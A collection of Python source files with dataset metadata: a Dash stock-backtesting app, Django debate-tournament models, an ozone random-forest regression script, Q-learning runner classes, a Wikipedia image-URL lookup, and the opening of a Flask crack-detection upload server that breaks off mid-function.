html.Span(f'({pl_sign}{pct_change:.2f}%)', className=pl_class+' small'),\n ],\n ),\n html.P(\n html.Span(f'As of {latest_trade_date_str}. Market {mo_str}.', className=' small')\n )\n ],\n md=12,\n ),\n ]),\n ]\n # dbc.Row(\n # html.Div([\n # dcc.RangeSlider(\n # disabled = True,\n # min=ftwl,\n # max=ftwh,\n # value=[ftwl, latest, ftwh],\n # # value=[1, 20, 40]\n # marks={\n # float(ftwl): {'label': f'{curr} {ftwl:.2f}', 'style': {'color': '#77b0b1'}},\n # float(latest): {'label': f'{curr} {latest:.2f}', 'style': {'color': '#77b0b1'}},\n # float(ftwh): {'label': f'{curr} {ftwh:.2f}', 'style': {'color': '#77b0b1'}}\n # }\n # ) \n # ],\n # style={'display': 'block', 'width': '60%', 'padding': ''},\n # className='mt-1'\n # )\n # )\n \n \n # {latest_trade_date}\n # latest}+({pct_change:.2f})')\n return children\n return info_div_callback\n\n\n\n\n\n####\n# Creates a list of selected stocks in hidden Div\n####\napp.config.suppress_callback_exceptions=True \n\n\ndef generate_load_ticker_callback():\n def load_ticker_callback(selected_cells, ticker_old):\n if selected_cells:\n ticker_new = selected_cells[0]['row_id']\n else:\n ticker_new = ticker_old\n return ticker_new\n return load_ticker_callback\n\n\ndef calcReturns(stockPicker, start_date, end_date, strategyToTest, index):\n dh = MSDataManager()\n df1 = dh.ReturnData(stockPicker, start_date=start_date, end_date=end_date)\n df, returnsStrat, returnsBH = globals()[strategyToTest](\n df1,\n start_date,\n end_date, \n 5\n )\n tickerSymbol = []\n buyPrices = []\n buyDates = []\n buySignals = []\n sellPrices = []\n sellDates = []\n sellSignals = []\n returns = []\n for i in range(len(df)):\n sig1 =df['bsSig'].iat[i]\n val1 = df['Close'].iat[i]\n date1 = df.index[i]\n signal = str(int(df['SignalMACD'][i])) + str(int(df['SignalROC'][i])) + str(int(df['SignalSTOC'][i])) + str(int(df['SignalRSI'][i]))\n if sig1 == 1:\n tickerSymbol.append(stockPicker)\n priceBuy = val1\n buyPrices.append(val1)\n buyDates.append(date1)\n buySignals.append(signal)\n elif sig1 == -1:\n priceSell = val1\n sellPrices.append(val1)\n sellDates.append(date1)\n profit = (priceSell-priceBuy)/priceBuy\n sellSignals.append(signal)\n returns.append(round(profit*100, 2))\n data = np.array([tickerSymbol, buyDates, buyPrices, buySignals, sellDates,\n sellPrices, sellSignals, returns]).T.tolist()\n dff = pd.DataFrame(data = data, columns = ['Symbol', 'datebuy', 'pricebuy', \n 'buysignals', 'datesell', \n 'pricesell', 'sellsignals', \n 'perprofit'])\n return dff, returnsStrat, returnsBH\n\ndef calcStrategy(start_date, end_date, index):\n full_market_returns = []\n full_returns_bh = []\n #dh = am.DataHandler(index)\n dh = MSDataManager()\n for ticker in dh.ReturnIndexConstituents(index):\n df1 = dh.ReturnData(ticker, start_date=start_date, end_date=end_date,)\n df, returnsStrat, returnsBH = MOM1(df1, start_date, end_date, 5)\n full_market_returns.append(returnsStrat*100)\n full_returns_bh.append(returnsBH*100)\n return [np.average(np.array(full_market_returns)),\n np.average(np.array(full_returns_bh))]\n\ndef generate_calc_full_market_callback():\n def calc_full_market_callback(n_clicks, timeRange, index):\n# strategyToTest = 'MOM1'\n start_date, end_date = to.axisRangeToDate(timeRange)\n children = ''\n if n_clicks != 0:\n calcStratRes= calcStrategy(start_date, end_date, index)\n# initial_vals = ([5, 12, 26, 9, 7, 5])\n children = html.Div([html.H3('%Profit Total Your Strategy: '),\n html.Div([str(round(calcStratRes[0], 2))]),\n html.H3('%Profit Total B&H: '),\n html.Div([str(round(calcStratRes[1], 2))])])\n return children\n return calc_full_market_callback\napp.callback( \n Output('full-market-backtest-results', 'children'),\n [\n Input('full_market_backtest', 'n_clicks')\n ],\n [\n State('0chart', 'relayoutData'),\n State('selected-index-div', 'value')\n ]\n )(generate_calc_full_market_callback())\n\n\n\ndef generate_strategyTest_callback(num):\n def strategyTest_callback(strategyToTest, timeRange, stockPicker, index):\n \"\"\"\n\n \"\"\"\n\n start_date, end_date = to.axisRangeToDate(timeRange)\n res, retsum, returnsBH = calcReturns(\n stockPicker,\n start_date,\n end_date,\n strategyToTest,\n index\n )\n trace = go.Histogram(\n x=res['perprofit'],\n opacity=0.7,\n name='Proft (%)',\n marker={\"line\":\n {\"color\": \"#25232C\", \"width\": 0.2}}, xbins={\"size\": 3}\n )\n layout = go.Layout(\n title=\"\",\n width=400,\n xaxis={\"title\": \"Profit (%)\", \"showgrid\": False},\n yaxis={\"title\": \"Count\", \"showgrid\": False}\n )\n figure = {\"data\": [trace], \"layout\": layout}\n res.to_csv(path_or_buf='./Data/strategy_backtest_results.csv')\n return figure, res.to_dict('records')\n return strategyTest_callback\n\n\ndef generate_update_picker_dropdown():\n def update_picker_dropdown(index):\n todaydate = datetime.now()\n index = index.split('-')[1]\n #options = am.DataHandler().IndexConstituentsDict()\n dh = MSDataManager()\n options = dh.IndexConstituentsDict(index)\n #options = {'AAPL': 'AAPL', 'MSFT': 'MSFT'}\n #dh = am.DataHandler()\n\n data = None\n # def Ret52wData(tick):\n # return dh.ReturnData(\n # tick,\n # start_date=(todaydate - relativedelta(weeks=52)),\n # end_date=todaydate,\n # )\n # data = [{\n # 'id': tick,\n # 'Symbol': tick,\n # 'Name': tick,\n # '52ws': round(MomentumIndicators(Ret52wData(tick)).calcSharpe(252), 2),\n # '52wh': Ret52wData(tick)['Close'].max(),\n # '52wl': Ret52wData(tick)['Close'].min()\n # } for tick in dh.ReturnIndexConstituents(index)]\n return index, options, data\n return update_picker_dropdown\n\ndef generate_figure_callback():\n def chart_fig_callback(ticker_list, trace_type, studies, timeRange, \n oldFig, index):\n start_date, end_date = to.axisRangeToDate(timeRange)\n print(ticker_list)\n ticker_list = ticker_list.split('-')[0].strip()\n if oldFig is None or oldFig == {'layout': {}, 'data': {}}:\n return get_fig(ticker_list, trace_type, studies, \n start_date, end_date, index)\n fig = get_fig(ticker_list, trace_type, studies, \n start_date, end_date, index)\n return fig\n return chart_fig_callback\n\napp.callback(\n \n Output('0chart', 'figure'),\n [\n Input('symbol_selected', 'value'),\n Input('0trace_style', 'value'),\n Input('0study_picker', 'value'),\n Input('0chart', 'relayoutData'),\n ],\n [\n State('0chart', 'figure'),\n State('selected-index-div', 'value')\n ]\n )(generate_figure_callback())\n\napp.callback(\n Output('infodiv', 'children'),\n [\n Input('symbol_selected', 'value'),\n Input('interval-component', 'n_intervals')\n ]\n )(generate_info_div_callback())\n\n@app.callback(\n Output('symbol_selected', 'value'),\n [\n Input('0stock_picker', 'value'),\n ]\n )\ndef select_symbol(symbol):\n print(symbol)\n return str(symbol)\n\n# def generate_clear_search():\n# def clear_search(symbol):\n# return ''\n# return clear_search\n# app.callback(\n# [\n# Output('0stock_picker', 'value'),\n# ],\n# [\n# Input('symbol_selected', 'value'),\n# ]\n# )(generate_clear_search())\n\n\nfor num in range(0,1):\n app.callback(\n [\n Output('selected-index-div', 'value'),\n Output(str(num) + 'stock_picker', 'options'),\n Output('IndexListTable', 'data')\n ],\n [\n Input('stockIndexTabs', 'value')\n ]\n )(generate_update_picker_dropdown())\n\n app.callback(\n [\n Output('hist-graph', 'figure'),\n Output(str(num) + 'strategyTestResults', 'data')\n ],\n [\n Input(str(num) + 'strategyTest', 'value')\n ],\n [\n State(str(num) + 'chart', 'relayoutData'),\n State(str(num) + 'stock_picker', 'value'),\n State('selected-index-div', 'value')\n ],\n )(generate_strategyTest_callback(num))\n# cache.memoize(timeout=100)\n # app.callback(\n # Output(str(num) + 'info_div', 'children'),\n # [\n # Input(str(num) + 'stock_picker', 'value'),\n # Input('interval-component', 'n_intervals'),\n # ],\n # [\n # State('selected-index-div', 'value'),\n # State('0chart', 'relayoutData')\n # ],\n # )(generate_info_div_callback(num))\n# cache.memoize(timeout=100)\n\nif __name__ == '__main__':\n app.run_server()\n","sub_path":"app1.py","file_name":"app1.py","file_ext":"py","file_size_in_byte":26727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"66913950","text":"\"\"\"Tests propagation of known ports.\"\"\"\nimport pdb\n\nfrom arrows.apply.propagate import propagate\nfrom test_arrows import test_mixed_knowns\n\n\ndef manual_inspection():\n \"\"\"Manually inspect output with PDB.\"\"\"\n arrow = test_mixed_knowns()\n marks = propagate(arrow)\n pdb.set_trace()\n return marks\n\n\nif __name__ == '__main__':\n manual_inspection()\n","sub_path":"tests/test_constant_prop.py","file_name":"test_constant_prop.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"105712525","text":"import logging\n\nfrom django.db import models\nfrom django.core.exceptions import MultipleObjectsReturned, ObjectDoesNotExist\nfrom django.utils.translation import gettext_lazy as _\nfrom django.utils.translation import gettext\n\nfrom tournaments.utils import get_side_name\n\nfrom .generator import DRAW_FLAG_DESCRIPTIONS\n\nlogger = logging.getLogger(__name__)\n\n\nclass DebateManager(models.Manager):\n use_for_related_fields = True\n\n def get_queryset(self):\n return super().get_queryset().select_related('round')\n\n\nclass Debate(models.Model):\n STATUS_NONE = 'N'\n STATUS_POSTPONED = 'P'\n STATUS_DRAFT = 'D'\n STATUS_CONFIRMED = 'C'\n STATUS_CHOICES = ((STATUS_NONE, _(\"none\")),\n (STATUS_POSTPONED, _(\"postponed\")),\n (STATUS_DRAFT, _(\"draft\")),\n (STATUS_CONFIRMED, _(\"confirmed\")), )\n\n objects = DebateManager()\n\n round = models.ForeignKey('tournaments.Round', models.CASCADE, db_index=True,\n verbose_name=_(\"round\"))\n venue = models.ForeignKey('venues.Venue', models.SET_NULL, blank=True, null=True,\n verbose_name=_(\"venue\"))\n # cascade to keep draws clean in event of division deletion\n division = models.ForeignKey('divisions.Division', models.CASCADE, blank=True, null=True,\n verbose_name=_(\"division\"))\n\n bracket = models.FloatField(default=0,\n verbose_name=_(\"bracket\"))\n room_rank = models.IntegerField(default=0,\n verbose_name=_(\"room rank\"))\n\n time = models.DateTimeField(blank=True, null=True,\n verbose_name=_(\"time\"),\n help_text=_(\"The time/date of a debate if it is specifically scheduled\"))\n\n # comma-separated list of strings\n flags = models.CharField(max_length=100, blank=True)\n\n importance = models.IntegerField(default=0, choices=[(i, i) for i in range(-2, 3)],\n verbose_name=_(\"importance\"))\n result_status = models.CharField(max_length=1, choices=STATUS_CHOICES, default=STATUS_NONE,\n verbose_name=_(\"result status\"))\n sides_confirmed = models.BooleanField(default=True,\n verbose_name=_(\"sides confirmed\"),\n help_text=_(\"If unchecked, the sides assigned to teams in this debate are just placeholders.\"))\n\n class Meta:\n verbose_name = _(\"debate\")\n verbose_name_plural = _(\"debates\")\n\n def __str__(self):\n description = \"[{}/{}/{}] \".format(self.round.tournament.slug, self.round.abbreviation, self.id)\n try:\n description += self.matchup\n except:\n logger.exception(\"Error rendering Debate.matchup in Debate.__str__\")\n description += \"\"\n return description\n\n @property\n def matchup(self):\n # This method is used by __str__, so it's not allowed to crash (ever)\n if not self.sides_confirmed:\n teams_list = \", \".join([dt.team.short_name for dt in self.debateteam_set.all()])\n # Translators: This is appended to a list of teams, e.g. \"Auckland\n # 1, Vic Wellington 1 (sides not confirmed)\". Mind the leading\n # space.\n return teams_list + gettext(\" (sides not confirmed)\")\n\n try:\n # This can sometimes arise during the call to self.round.tournament.sides\n # if preferences aren't loaded correctly, which happens in `manage.py shell`.\n sides = self.round.tournament.sides\n except IndexError:\n return self._teams_and_sides_display() # fallback\n\n try:\n # Translators: This goes between teams in a debate, e.g. \"Auckland 1\n # vs Vic Wellington 1\". Mind the leading and trailing spaces.\n return gettext(\" vs \").join(self.get_team(side).short_name for side in sides)\n except (ObjectDoesNotExist, MultipleObjectsReturned):\n return self._teams_and_sides_display()\n\n def _teams_and_sides_display(self):\n return \", \".join([\"%s (%s)\" % (dt.team.short_name, dt.get_side_display())\n for dt in self.debateteam_set.all()])\n\n # --------------------------------------------------------------------------\n # Team properties\n # --------------------------------------------------------------------------\n # Team properties are stored in the dict `self._team_properties`, except for\n # the list of all teams, which is in `self._teams`. These are lazily\n # evaluated: on the first call of any team property,\n # `self._populate_teams()` is run to populate all team properties in a\n # single database query, then the appropriate value is returned.\n #\n # If the team in question doesn't exist or there is more than one, the\n # property in question will raise an ObjectDoesNotExist or\n # MultipleObjectsReturned exception, so that it behaves like a database\n # query. This exception raising is lazy: it does so only when the errant\n # property is called, rather than raising straight away in\n # `self._populate_teams()`.\n #\n # Callers that wish to retrieve the teams of many debates should add\n # prefetch_related(Prefetch('debateteam_set', queryset=DebateTeam.objects.select_related('team'))\n # to their query set.\n\n def _populate_teams(self):\n \"\"\"Populates the team attributes from self.debateteam_set.\"\"\"\n dts = self.debateteam_set.all()\n if not dts._prefetch_done: # uses internal undocumented flag of Django's QuerySet model\n dts = dts.select_related('team')\n\n self._teams = []\n self._multiple_found = []\n self._team_properties = {}\n\n for dt in dts:\n self._teams.append(dt.team)\n team_key = '%s_team' % dt.side\n dt_key = '%s_dt' % dt.side\n if team_key in self._team_properties:\n self._multiple_found.extend([team_key, dt_key])\n self._team_properties[team_key] = dt.team\n self._team_properties[dt_key] = dt\n\n def _team_property(attr): # noqa: N805\n \"\"\"Used to construct properties that rely on self._populate_teams().\"\"\"\n @property\n def _property(self):\n if not hasattr(self, '_team_properties'):\n self._populate_teams()\n if attr in self._multiple_found:\n raise MultipleDebateTeamsError(\"Multiple debate teams found for '%s' in debate ID %d. \"\n \"Teams in debate are: %s.\" % (attr, self.id, self._teams_and_sides_display()))\n try:\n return self._team_properties[attr]\n except KeyError:\n raise NoDebateTeamFoundError(\"No debate team found for '%s' in debate ID %d. \"\n \"Teams in debate are: %s.\" % (attr, self.id, self._teams_and_sides_display()))\n return _property\n\n @property\n def teams(self):\n # No need for _team_property overhead, this list is guaranteed to exist\n # (it just might be empty).\n if not hasattr(self, '_teams'):\n self._populate_teams()\n return self._teams\n\n def debateteams_ordered(self):\n for side in self.round.tournament.sides:\n yield self.get_dt(side)\n\n aff_team = _team_property('aff_team')\n neg_team = _team_property('neg_team')\n og_team = _team_property('og_team')\n oo_team = _team_property('oo_team')\n cg_team = _team_property('cg_team')\n co_team = _team_property('co_team')\n aff_dt = _team_property('aff_dt')\n neg_dt = _team_property('neg_dt')\n og_dt = _team_property('og_dt')\n oo_dt = _team_property('oo_dt')\n cg_dt = _team_property('cg_dt')\n co_dt = _team_property('co_dt')\n\n def get_team(self, side):\n return getattr(self, '%s_team' % side)\n\n def get_dt(self, side):\n \"\"\"dt = DebateTeam\"\"\"\n return getattr(self, '%s_dt' % side)\n\n # --------------------------------------------------------------------------\n # Other properties\n # --------------------------------------------------------------------------\n\n @property\n def confirmed_ballot(self):\n \"\"\"Returns the confirmed BallotSubmission for this debate, or None if\n there is no such ballot submission.\"\"\"\n try:\n return self._confirmed_ballot\n except AttributeError:\n try:\n self._confirmed_ballot = self.ballotsubmission_set.get(confirmed=True)\n except ObjectDoesNotExist:\n self._confirmed_ballot = None\n return self._confirmed_ballot\n\n def get_flags_display(self):\n if not self.flags:\n return [] # don't return [\"\"]\n else:\n # If the verbose description can't be found, just show the raw flag\n return [DRAW_FLAG_DESCRIPTIONS.get(f, f) for f in self.flags.split(\",\")]\n\n @property\n def history(self):\n try:\n return self._history\n except AttributeError:\n self._history = self.aff_team.seen(self.neg_team, before_round=self.round.seq)\n return self._history\n\n @property\n def adjudicators(self):\n \"\"\"Returns an AdjudicatorAllocation containing the adjudicators for this\n debate.\"\"\"\n try:\n return self._adjudicators\n except AttributeError:\n from adjallocation.allocation import AdjudicatorAllocation\n self._adjudicators = AdjudicatorAllocation(self, from_db=True)\n return self._adjudicators\n\n @property\n def division_motion(self):\n from motions.models import Motion\n try:\n # Pretty sure there should never be > 1\n return Motion.objects.filter(round=self.round, divisions=self.division).first()\n except ObjectDoesNotExist:\n # It's easiest to assume a division motion is always present, so\n # return a fake one if it is not\n return Motion(text='-', reference='-')\n\n # For the front end need to ensure that there are no gaps in the debateTeams\n def serial_debateteams_ordered(self):\n t = self.round.tournament\n for side in t.sides:\n sdt = {'side': side, 'team': None,\n 'position': get_side_name(t, side, 'full'),\n 'abbr': get_side_name(t, side, 'abbr')}\n try:\n debate_team = self.get_dt(side)\n sdt['team'] = debate_team.team.serialize()\n except ObjectDoesNotExist:\n pass\n\n yield sdt\n\n def serialize(self):\n debate = {'id': self.id, 'bracket': self.bracket,\n 'importance': self.importance, 'locked': False}\n debate['venue'] = self.venue.serialize() if self.venue else None\n debate['debateTeams'] = list(self.serial_debateteams_ordered())\n debate['debateAdjudicators'] = [{\n 'position': position,\n 'adjudicator': adj.serialize(round=self.round),\n } for adj, position in self.adjudicators.with_debateadj_types()]\n debate['sidesConfirmed'] = self.sides_confirmed\n return debate\n\n\nclass DebateTeamManager(models.Manager):\n use_for_related_fields = True\n\n def get_queryset(self):\n return super().get_queryset().select_related('debate')\n\n\nclass DebateTeam(models.Model):\n SIDE_AFF = 'aff'\n SIDE_NEG = 'neg'\n SIDE_OG = 'og'\n SIDE_OO = 'oo'\n SIDE_CG = 'cg'\n SIDE_CO = 'co'\n SIDE_CHOICES = ((SIDE_AFF, _(\"affirmative\")),\n (SIDE_NEG, _(\"negative\")),\n (SIDE_OG, _(\"opening government\")),\n (SIDE_OO, _(\"opening opposition\")),\n (SIDE_CG, _(\"closing government\")),\n (SIDE_CO, _(\"closing opposition\")))\n\n objects = DebateTeamManager()\n\n debate = models.ForeignKey(Debate, models.CASCADE, db_index=True,\n verbose_name=_(\"debate\"))\n team = models.ForeignKey('participants.Team', models.PROTECT,\n verbose_name=_(\"team\"))\n side = models.CharField(max_length=3, choices=SIDE_CHOICES,\n verbose_name=_(\"side\"))\n\n # comma-separated list of strings\n flags = models.CharField(max_length=100, blank=True)\n\n class Meta:\n verbose_name = _(\"debate team\")\n verbose_name_plural = _(\"debate teams\")\n\n def __str__(self):\n return '{} in {}'.format(self.team.short_name, self.debate)\n\n @property\n def opponent(self):\n try:\n return self._opponent\n except AttributeError:\n try:\n self._opponent = DebateTeam.objects.exclude(side=self.side).select_related(\n 'team', 'team__institution').get(debate=self.debate)\n except (DebateTeam.DoesNotExist, DebateTeam.MultipleObjectsReturned):\n logger.warning(\"No opponent found for %s\", str(self))\n self._opponent = None\n return self._opponent\n\n def get_flags_display(self):\n if not self.flags:\n return [] # don't return [\"\"]\n else:\n # If the verbose description can't be found, just show the raw flag\n return [DRAW_FLAG_DESCRIPTIONS.get(f, f) for f in self.flags.split(\",\")]\n\n def get_result_display(self):\n if self.team.tournament.pref('teams_in_debate') == 'bp':\n if self.points == 3:\n return gettext(\"placed 1st\")\n elif self.points == 2:\n return gettext(\"placed 2nd\")\n elif self.points == 1:\n return gettext(\"placed 3rd\")\n elif self.points == 0:\n return gettext(\"placed 4th\")\n else:\n return gettext(\"result unknown\")\n else:\n if self.win is True:\n return gettext(\"won\")\n elif self.win is False: # not None\n return gettext(\"lost\")\n else:\n return gettext(\"result unknown\")\n\n @property\n def win(self):\n \"\"\"Convenience function. Returns True if this team won, False if this\n team lost, or None if there isn't a confirmed result.\n\n This result is stored for the lifetime of the instance -- it won't\n update on the same instance if a result is entered.\"\"\"\n try:\n return self._win\n except AttributeError:\n try:\n self._win = self.teamscore_set.get(ballot_submission__confirmed=True).win\n except ObjectDoesNotExist:\n self._win = None\n return self._win\n\n @property\n def points(self):\n \"\"\"Convenience function. Returns the number of points this team received\n or None if there isn't a confirmed result.\n\n This result is stored for the lifetime of the instance -- it won't\n update on the same instance if a result is entered.\"\"\"\n try:\n return self._points\n except AttributeError:\n try:\n self._points = self.teamscore_set.get(ballot_submission__confirmed=True).points\n except ObjectDoesNotExist:\n self._points = None\n return self._points\n\n def get_side_name(self, tournament=None, name_type='full'):\n \"\"\"Should be used instead of get_side_display() on views.\n `tournament` can be passed in if known, for performance.\"\"\"\n try:\n return get_side_name(tournament or self.debate.round.tournament,\n self.side, name_type)\n except KeyError:\n return self.get_side_display() # fallback\n\n\nclass MultipleDebateTeamsError(DebateTeam.MultipleObjectsReturned):\n pass\n\n\nclass NoDebateTeamFoundError(DebateTeam.DoesNotExist):\n pass\n\n\nclass TeamSideAllocation(models.Model):\n \"\"\"Model to store team side allocations for tournaments like Joynt\n Scroll (New Zealand). Each team-round combination should have one of these.\n In tournaments without team side allocations, just don't use this\n model.\"\"\"\n\n round = models.ForeignKey('tournaments.Round', models.CASCADE,\n verbose_name=_(\"round\"))\n team = models.ForeignKey('participants.Team', models.CASCADE,\n verbose_name=_(\"team\"))\n side = models.CharField(max_length=3, choices=DebateTeam.SIDE_CHOICES,\n verbose_name=_(\"side\"))\n\n class Meta:\n unique_together = [('round', 'team')]\n verbose_name = _(\"team side allocation\")\n verbose_name_plural = _(\"team side allocations\")\n","sub_path":"tabbycat/draw/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":16292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"462475178","text":"# ~~~~~~~~~~~~~~~\n# test-envdata.py\n# ~~~~~~~~~~~~~~~\n\nimport copy\nimport os.path\nimport numpy as np\nimport pandas as pd\nfrom fdt import FuzzyTree\nfrom fuzzifier import Fuzzifier, FuzzyDataset\nfrom fuzzyplotter import FuzzyPlotter\nfrom sklearn.ensemble import RandomForestRegressor\nimport matplotlib.pyplot as plt\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.metrics import r2_score\n\n# Initialize train dataset\ndb = pd.read_csv('o3db_train.csv')\ndb = db.dropna(subset=['Target'])\nidata = db.to_numpy()\nX = idata[1:, 3:-1]\ny = idata[1:, -1]\nM, N = X.shape\nvar_names = list(db)[3:] \nprint(\"train dataset initialized...\")\n\n# Initialize test dataset\ndb_test = pd.read_csv('o3db_test.csv')\ndb_test = db_test.dropna(subset=['Target'])\ntdata = db_test.to_numpy()\nXt = tdata[1:, 3:-1]\nyt = tdata[1:, -1]\nMt, Nt = Xt.shape\nprint(\"test dataset initialized...\")\n\n# Random Forest Regressor\nreg = RandomForestRegressor(n_estimators=300)\nreg.fit(X,y)\npred = reg.predict(Xt)\nrmse = [(a-p)**2for a,p in zip(yt, pred)]\nrmse = sum(rmse)/len(rmse)\nscaler = MinMaxScaler()\nscaler.fit(y.reshape(y.size, 1))\nnorm_yt = scaler.transform(yt.reshape(yt.size, 1))\nnorm_pred = scaler.transform(np.array(pred).reshape(yt.size, 1))\nndiff2 = [(a-p)**2 for a,p in zip(norm_yt, norm_pred)]\nnrmse = sum(ndiff2)/len(ndiff2)\nmae = sum([abs(a-p) for a,p in zip(yt, pred)])/len(pred)\nr2 = 1 - sum([(t-p)**2 for t,p in zip(yt,pred)])/sum([(t-yt.mean())**2 for t in yt])\nscaler = MinMaxScaler()\nscaler.fit(y.reshape(y.size, 1))\nnorm_yt = scaler.transform(yt.reshape(yt.size, 1))\nnorm_pred = scaler.transform(np.array(pred).reshape(yt.size, 1))\nndiffa = [abs(a-p) for a,p in zip(norm_yt, norm_pred)]\nndiff2 = [(a-p)**2 for a,p in zip(norm_yt, norm_pred)]\nnrmse = sum(ndiff2)/len(ndiff2)\nnmae = sum(ndiffa)/len(ndiffa)\n# Print results\nprint('## Model regression accuracy: R2 = {:.3f}({:.3f})'.format(r2, r2_score(yt,pred)))\nprint('## RMSE {:.3f}, {:.6f}'.format(np.sqrt(rmse), np.sqrt(nrmse[0])))\nprint('## MAE {:.3f}, {:.6f}'.format(mae, nmae[0]))\n# Plot predicted values\nlinx = np.arange(len(yt))\nfig1 = plt.figure()\nplt.plot(linx, yt, 'b', linx, pred, 'r')\nplt.xlabel(\"day\")\nplt.ylabel(\"predicted/actual\")\nplt.title(\"Fuzzy Decision Tree Regression\\nR2 = {:.3f}({:.3f})\".format(r2, r2_score(yt,pred)))\nplt.show()\nfig2 = plt.figure()\nplt.scatter(yt, pred)\nplt.show()\n","sub_path":"fdt-o3/test-randfor-envdata.py","file_name":"test-randfor-envdata.py","file_ext":"py","file_size_in_byte":2341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"300088830","text":"\"\"\"DL runner implementations.\n\nRef:\n https://en.wikipedia.org/wiki/Q-learning\n https://jaromiru.com/2016/09/27/lets-make-a-dqn-theory/\n\"\"\"\n\nimport numpy\n\nfrom deep_learning.engine import q_base\nfrom qpylib import t\n\n\nclass NoOpRunner(q_base.Runner):\n \"\"\"A runner that doesn't do anything to qfunc.\"\"\"\n\n # @Override\n def _protected_ProcessTransition(\n self,\n qfunc: q_base.QFunction,\n transition: q_base.Transition,\n step_idx: int,\n ) -> None:\n pass\n\n\nclass SimpleRunner(q_base.Runner):\n \"\"\"A simple runner that updates the QFunction after each step.\"\"\"\n\n # @Override\n def _protected_ProcessTransition(\n self,\n qfunc: q_base.QFunction,\n transition: q_base.Transition,\n step_idx: int,\n ) -> None:\n qfunc.UpdateValues([transition])\n\n\nclass _Experience:\n \"\"\"A fixed size history of experiences.\"\"\"\n\n def __init__(self, capacity: int):\n \"\"\"Constructor.\n\n Args:\n capacity: how many past events to save. If capacity is full,\n old events are discarded as new events are recorded.\n \"\"\"\n self._capacity = capacity\n\n # Events inserted later are placed at tail.\n self._history = [] # type: t.List[q_base.Transition]\n\n def AddTransition(\n self,\n transition: q_base.Transition,\n ) -> None:\n \"\"\"Adds an event to history.\"\"\"\n self._history.append(transition)\n if len(self._history) > self._capacity:\n self._history.pop(0)\n\n def Sample(self, size: int) -> t.Iterable[q_base.Transition]:\n \"\"\"Samples an event from the history.\"\"\"\n # numpy.random.choice converts a list to numpy array first, which is very\n # inefficient, see:\n # https://stackoverflow.com/questions/18622781/why-is-random-choice-so-slow\n for idx in numpy.random.randint(0, len(self._history), size=size):\n yield self._history[idx]\n\n\nclass ExperienceReplayRunner(q_base.Runner):\n \"\"\"A runner that implements experience replay.\"\"\"\n\n def __init__(\n self,\n experience_capacity: int,\n experience_sample_batch_size: int,\n train_every_n_steps: int = 1,\n ):\n super().__init__()\n self._experience_capacity = experience_capacity\n self._experience_sample_batch_size = experience_sample_batch_size\n self._train_every_n_steps = train_every_n_steps\n\n self._experience = _Experience(capacity=self._experience_capacity)\n\n # @Override\n def _protected_ProcessTransition(\n self,\n qfunc: q_base.QFunction,\n transition: q_base.Transition,\n step_idx: int,\n ) -> None:\n self._experience.AddTransition(transition)\n if step_idx % self._train_every_n_steps == 0:\n qfunc.UpdateValues(\n self._experience.Sample(self._experience_sample_batch_size))\n\n def SampleFromHistory(self, size: int) -> t.Iterable[q_base.Transition]:\n \"\"\"Samples a set of transitions from experience history.\"\"\"\n return self._experience.Sample(size)\n","sub_path":"engine/runner_impl.py","file_name":"runner_impl.py","file_ext":"py","file_size_in_byte":2870,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"362853942","text":"import requests\n\n\ndef main(filename='Flag of the United Kingdom.svg'):\n endpoint = 'https://en.wikipedia.org/w/api.php?'\n payload = {'action': 'query', 'titles': 'File:' + filename, 'prop': 'imageinfo', 'iiprop': 'url', 'format': 'json'}\n\n r = requests.get(endpoint, params=payload)\n info = r.json()\n pageid = list(info['query']['pages'].keys())[0]\n\n print(info['query']['pages'][pageid]['imageinfo'][0]['url'])\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"nlp29.py","file_name":"nlp29.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"166649567","text":"from flask import Flask, render_template, request\nfrom werkzeug import secure_filename\nfrom urllib.request import urlopen\nfrom PIL import Image\nfrom keras.models import Sequential\nfrom keras.layers import Conv2D, MaxPooling2D, BatchNormalization\nfrom keras.layers import Activation, Dropout, Flatten, Dense\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.models import load_model, model_from_json\n\nimport tensorflow as tf\nimport numpy as np\nimport cv2\nimport urllib\nimport webcolors\nimport time, os\nimport sys, h5py\nimport shutil\nimport random\n\nnp.random.seed(0)\n\nfrom image_preprocess import crack_detection_preprocess_image\nfrom image_preprocess import move_files_test_folder\nfrom image_preprocess import preprocess_img\nfrom CNNclassifier import training\n\napp = Flask(__name__)\n\n# load json and create model\njson_file = open('./models/model_92.json', 'r')\nloaded_model_json = json_file.read()\njson_file.close()\n\n# load model and weights\nloaded_model = model_from_json(loaded_model_json)\n# loaded_model = load_model(\"./models/first_try.h5\")\nloaded_model.load_weights(\"./models/first_try_92.h5\")\n# print(loaded_model.summary())\nprint(\"Loaded model from disk\")\n\ngraph = tf.get_default_graph()\n\n# root\n@app.route(\"/\")\ndef index():\n \"\"\"\n this is a root dir of my server\n :return: str\n \"\"\"\n return '''This is testing API :\n To start predicting, go to http://127.0.0.1:5000/crack_detection_test'''\n\n@app.route('/crack_detection_test', methods = ['GET','POST'])\ndef crack_detection_test():\n class_pred = ''\n filenames = ''\n # test for input file\n if request.method =='POST':\n file = request.files['file[]']\n # print(file)\n if file:\n current_dir = os.path.abspath(os.path.dirname(__file__))\n filename = secure_filename(file.filename)\n if not os.path.exists(os.path.join(current_dir, 'uploads')):\n os.makedirs(os.path.join(current_dir, 'uploads'))\n filepath = os.path.join(current_dir, 'uploads', filename)\n file.save(filepath)\n\n # print(filepath)\n img = cv2.imread(filepath)\n gray = preprocess_img(filepath)\n\n # new_im = Image.fromarray(gray)\n # new_im.show()\n\n # save the test image in test_dir\n if not os.path.exists(os.path.join(current_dir, 'uploads', 'test', 'images')):\n os.makedirs(os.path.join(current_dir, 'uploads', 'test', 'images'))\n test_dir = os.path.join(current_dir, 'uploads', 'test')\n # save the test file to test directory\n savepath = os.path.join(test_dir, 'images', filename)\n # 